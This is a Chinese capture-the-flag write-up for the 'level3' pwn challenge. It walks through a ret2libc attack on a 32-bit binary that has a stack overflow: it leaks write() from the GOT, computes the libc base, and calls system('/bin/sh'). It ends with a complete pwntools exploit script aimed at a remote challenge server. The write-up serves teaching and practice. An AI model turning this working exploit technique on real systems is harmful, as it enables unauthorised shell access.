题目描述

libc!libc!这次没有system,你能帮菜鸡解决这个难题么?

Solution

先分析文件信息:

006-1.png

这是一个 ELF32 文件,没有开启金丝雀,栈不可执行,不是位置无关程序。运行程序,输入一串字符后打印Hello, World!后退出。把它放入 IDA 分析,程序主流程为main()vulnerable_fuinction()

006-2.png

vulnerable_function()中,先向标准输出打印Input字符串,然后向栈上的缓冲区读取 256 个字符,这里会存在缓冲区溢出的风险:

006-3.png

本题中没有出现system()函数和"/bin/sh"字符串,但我们可以从题目提供的 libc 文件找到。

  • 第一步,我们使用栈溢出将write()函数在 GOT 表中的真实地址暴露出来,然后减去 libc 中的 offset,就可以得到 libc 的 base address;这一步中我们把返回地址改成main()函数;
  • 第二步,重新进入main()函数,再次栈溢出,利用system()函数夺 Shell。

对于"/bin/sh"字符串,可以通过strings -a -t x命令找出它在 libc 中的 Offset:

006-4.png

上述两步中,栈的分布情况如下:

First Step Second Step
'A' *136 'A' *136
EBP EBP
write@plt sys_addr
main_addr 0xdeadbeef
1 bin_sh_addr
write@got XXXX
0xdeadbeef XXXX

这其中还涉及到几个地址的计算,各地址计算方式如下:

Address Calculate
libc_addr write_got_addr - libc.symbols['write']
sys_addr libc_addr + libc.symbols['system']
bin_sh_addr libc_addr + 0x15902b

Python 漏洞利用脚本如下:

  1. from pwn import *
  2. #conn = process('./level3')
  3. conn = remote('111.200.241.244', 51091)
  4. elf = ELF('./level3')
  5. libc = ELF('./libc_32.so.6')
  6. # get function address
  7. write_plt = elf.plt['write']
  8. write_got = elf.got['write']
  9. main_addr = elf.symbols['main']
  10. payload = b'A' * (136+4) + p32(write_plt) + \
  11. p32(main_addr) + p32(1) + p32(write_got) + p32(0xdeadbeef)
  12. conn.sendlineafter('Input:\n', payload)
  13. # leak address of `write()` in GOT
  14. write_got_addr = u32(conn.recv()[:4])
  15. # leak address of libc
  16. libc_addr = write_got_addr - libc.symbols['write']
  17. # get address of `system()`
  18. sys_addr = libc_addr + libc.symbols['system']
  19. # get address of '/bin/sh'
  20. bin_sh_addr = libc_addr + 0x15902b
  21. # go second step
  22. payload2 = b'A' * (136+4) + p32(sys_addr) + \
  23. p32(0xdeadbeef) + p32(bin_sh_addr)
  24. conn.sendline(payload2)
  25. conn.interactive()

运行结果如下:

006-5.png